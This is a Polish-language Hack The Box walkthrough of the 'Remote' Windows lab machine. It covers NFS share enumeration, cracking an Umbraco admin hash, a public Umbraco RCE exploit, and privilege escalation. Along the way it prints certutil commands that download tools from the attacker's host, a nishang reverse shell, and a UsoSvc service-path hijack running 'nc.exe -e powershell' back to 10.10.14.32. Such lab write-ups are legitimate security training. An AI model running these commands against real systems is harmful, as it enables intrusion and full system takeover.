0

Hack The Box – Remote

Wprowadzenie

Maszyna Remote pracuje pod kontrolą systemu Microsoft Windows dostępna pod adresem 10.10.10.180. Do przełamania zabezpieczeń wystarczy podstawowa wiedza z zakresu działania samego systemu oraz google.

Czego się nauczysz

1. Łamania hashy haseł

2. Zestawienie reverse shell’a

3. Enumeracja systemów Microsoft Windows

4. Modyfikacji działających usług

Rekonesans

Zaczynamy od przeskanowania maszyny nmapem.

root@kali:~/htb/boxes/remote# nmap -sC -sV -oA nmap 10.10.10.180
# Nmap 7.80 scan initiated Thu Aug 20 15:54:16 2020 as: nmap -sC -sV -oA nmap 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up (0.053s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-08-20T13:55:08
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 20 15:55:43 2020 -- 1 IP address (1 host up) scanned in 87.07 seconds

W międzyczasie w tle uruchomiłem skanowanie gobusterem oraz nikto. Skan Nikto nie przyniósł większych efektów, w przeciwieństwie do gobuster’a, który odnalazł kilka ciekawych folderów.

root@kali:~/htb/boxes/remote# gobuster dir -u http://10.10.10.180 -w /usr/share/wordlists/dirb/common.txt
root@kali:~/htb/boxes/remote# gobuster dir -u http://10.10.10.180 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.180
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/20 16:03:26 Starting gobuster
===============================================================
[ERROR] 2020/08/20 16:03:38 [!] Get http://10.10.10.180/about-us: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/Blog (Status: 200)
/blog (Status: 200)
[ERROR] 2020/08/20 16:03:53 [!] Get http://10.10.10.180/contact: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/08/20 16:03:53 [!] Get http://10.10.10.180/Contact: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/home (Status: 200)
/Home (Status: 200)
/install (Status: 302)
/intranet (Status: 200)
/people (Status: 200)
/People (Status: 200)
/person (Status: 200)
/products (Status: 200)
/Products (Status: 200)
[ERROR] 2020/08/20 16:04:37 [!] Get http://10.10.10.180/product: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/umbraco (Status: 200)
===============================================================
2020/08/20 16:04:54 Finished
===============================================================

Wyniki skananowania nmap’a wyglądały bardzo obiecująco. Zacząłem od sprawdzenia portu 21, czyli ftp. Niestety pomimo połączenia się na konto Anonymous, nic więcej nie znalazłem. Wyniki skanu gobustera pokazały sporo interesujących zasobów, przeklikanie się przez nie nie przyniosły większego rezultatu. Dopiero ostatni http://10.10.10.180/umbraco/ wskazywał na panel logowania. Próby zalogowania się na domyślne poświadczenia, typu admin/admin nie przyniosły efektów. Postanowiłem wpisać frazę Umbraco w Google, ponieważ nie za bardzo wiedziałem co to jest. Pierwszy wynik wyszukiwania podpowiedział, iż jest to CMS. W następnym kroku sprawdziłem czy są jakieś exploity, wykorzystując https://www.exploit-db.com/

Jeden exploit wyglądał obiecując, ponieważ był z 2019 roku, ale wymagał znajomości loginu i hasła, którego na tą chwilę nie miałem. Wróciłem do wyników skanowania nmapa i sprawdzenia portu 445, czyli samba. Poleceniem showmount sprawdziłem co jest udostępnione na hoście.

showmount -e 10.10.10.180
root@kali:~# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

Następnie utworzyłem katalog tymczasowy i podmontowałem zasoby z site_backups.

root@kali:~/htb/boxes/remote# mkdir site_backups
root@kali:~/htb/boxes/remote# mount -t nfs 10.10.10.180:/site_backups site_backups/
root@kali:~/htb/boxes/remote# cd site_backups/
root@kali:~/htb/boxes/remote/site_backups# ls
App_Browsers  App_Data  App_Plugins  aspnet_client  bin  Config  css  default.aspx  Global.asax  Media  scripts  Umbraco  Umbraco_Client  Views  Web.config

Starłem się odszukać informacji odnośnie połączenia do bazy danych. Cała konfiguracja powinna być zapisana w pliku Web.config

<connectionStrings>
	<remove name="umbracoDbDSN" />
	<add name="umbracoDbDSN" connectionString="Data Source=|DataDirectory|Umbraco.sdf;Flush Interval=1;" providerName="System.Data.SqlServerCe.4.0" />
		<!-- Important: If you're upgrading Umbraco, do not clear the connection string / provider name during your web.config merge. -->
</connectionStrings>

Konfiguracja wskazywała lokalną bazę danych Umbraco.sdf. Plik znajdował się w katalogu App_Data. Próbowałem odczytać plik za pomocą programu Compact View, jednak plik wyglądał na uszkodzony. Postanowiłem, iż sprawdzę ręcznie co jest w pliku, i odnalazłem:

admin@htb.local b8be16afba8c314ad33d812f22a04991b90e2aaa {"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50

ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.local

Logowanie do panelu Umbraco wymaga adresu mailowego, dlatego skupiłem się tylko na kontach z logiem w postaci maila. Na szczęście hasło dla admin@htb.local zostało zakodowane słabym algorytmem SHA-1. Skorzystałem z https://gchq.github.io/CyberChef/#recipe=SHA1(). Po poprawny zdekodowaniu hasła upewniłem się, czy dane są prawidłowe logując się do panelu Umbraco.

Pozostało sprawdzenie w jakiej wersji jest zainstalowany CMS.

Exploit i Reverse Shell

Wersja 7.12.4 idealnie pasowała do naszego Exploita, który niezbyt dobrze mi zadziałał. Jak się później okazało, maszyna działała bardzo niestabilnie. Postanowiłem skorzystać z innej wersji, a mianowicie https://github.com/noraj/Umbraco-RCE.

root@kali:~/htb/boxes/remote# python3 exploit.py -u admin@htb.local -p baconandcheese -w http://10.10.10.180 -i 10.10.14.32
[+] Trying to bind to 0.0.0.0 on port 4444: Done
[+] Waiting for connections on 0.0.0.0:4444: Got connection from 10.10.10.180 on port 49683
[+] Trying to bind to 0.0.0.0 on port 4445: Done
[+] Waiting for connections on 0.0.0.0:4445: Got connection from 10.10.10.180 on port 49684
[*] Switching to interactive mode
PS C:windowssystem32inetsrv> whoami
iis apppooldefaultapppool
PS C:windowssystem32inetsrv>  

Flagę usera udało się odczytać. W następnym kroku przystąpiłem do wgrania skryptów ułątwiających enumeracje. Korzystając z https://lolbas-project.github.io/ wgrałem PowerUp.ps1. W nowym oknie konsoli uruchomiłem serwer http oraz wykorzystałem możliwość pobrania plików stosując Certutil.exe

#Serwer http na porcie 8000
python -m SimpleHTTPServer

#pobranie pliku na zaatakowanej maszynie
PS C:WindowsTemp> certutil.exe -urlcache -split -f "http://10.10.14.32:8000/PowerUp.ps1" PowerUp.ps1
****  Online  ****
  000000  ...
  092a04
CertUtil: -URLCache command completed successfully.

Musiałem zestawić nowe połączenie, ponieważ na obecny nie działał powershell. Skorzystałem z skryptów nishang, które są preinstalowane w Kali Linuksie. Zedytowałem skrypt o nazwie “Invoke-PowerShellTcp.ps1” dodając na końcu Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.32 -Port 9001. Wgrałem skrypt na serwer i uruchomiłem zestawiając nowe połączenie.

PS C:WindowsTemp> certutil.exe -urlcache -split -f "http://10.10.14.32:8000/rev_shell.ps1" rev_shell.ps1
****  Online  ****
  0000  ...
  1132
CertUtil: -URLCache command completed successfully.

Następnie przystąpiłem do skanowania systemu za pomocą PowerUp’a.

PS C:WindowsTemp> import-module ./PowerUp.ps1
PS C:WindowsTemp> Invoke-AllChecks 


Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 3036
ProcessId   : 1956
Name        : 1956
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:Windowssystem32svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

UnattendPath : C:WindowsPantherUnattend.xml
Name         : C:WindowsPantherUnattend.xml
Check        : Unattended Install Files



PS C:WindowsTemp> Get-ChildItem : Access to the path 'C:ProgramDataVMwareVMware ToolsGuestProxyDatatrusted' is denied.
At C:WindowsTempPowerUp.ps1:4516 char:21
+ ... $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.x ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:ProgramData...oxyDatatrusted:String) [Get-ChildItem], Unauthoriz 
   edAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 

PS C:WindowsTemp> 

Wynik skanowania wskazał na możliwość modyfikacji usługi odpowiedzialnej za aktualizacje Windowsa, czyli UsoSvc.

PS C:windowstemp> Invoke-ServiceAbuse -Name 'UsoSvc'

ServiceAbused Command                                                                   
------------- -------                                                                   
UsoSvc        net user john Password123! /add && net localgroup Administrators john /add


PS C:windowstemp> Start-Service : Service 'Update Orchestrator Service (UsoSvc)' cannot be started due to the following error: Cannot 
start service UsoSvc on computer '.'.
At line:2467 char:34
+ ...          $TargetService | Start-Service -ErrorAction SilentlyContinue
+                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],  
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand

Niestety próba dodania usera poprzez net user nie powiodła się. Postanowiłem zmodyfikować domyślną ścieżkę usługi i wymusić jej restart. W między czasie wgrałem netcat’a korzystając z certutil

PS C:WindowsTemp> certutil.exe -urlcache -split -f "http://10.10.14.32:8000/nc.exe" nc.exe                 
****  Online  ****
  0000  ...
  8eb0
CertUtil: -URLCache command completed successfully.
PS C:WindowsTemp> Set-ServiceBinaryPath -Name UsoSvc -Path 'C:WindowsTempnc.exe -e powershell 10.10.14.32 9002'
True
PS C:WindowsTemp>
PS C:WindowsTemp> restart-service UsoSvc
root@kali:~/htb/boxes/remote# nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.180] 49702
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:Windowssystem32> whoami
whoami
nt authoritysystem
PS C:Windowssystem32> 

Restart usługi zestawił sesje z wyższymi uprawnieniami. Wyciągnięcie flagi administratora było czystą formalnością.

Grzegorz Kowalik

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *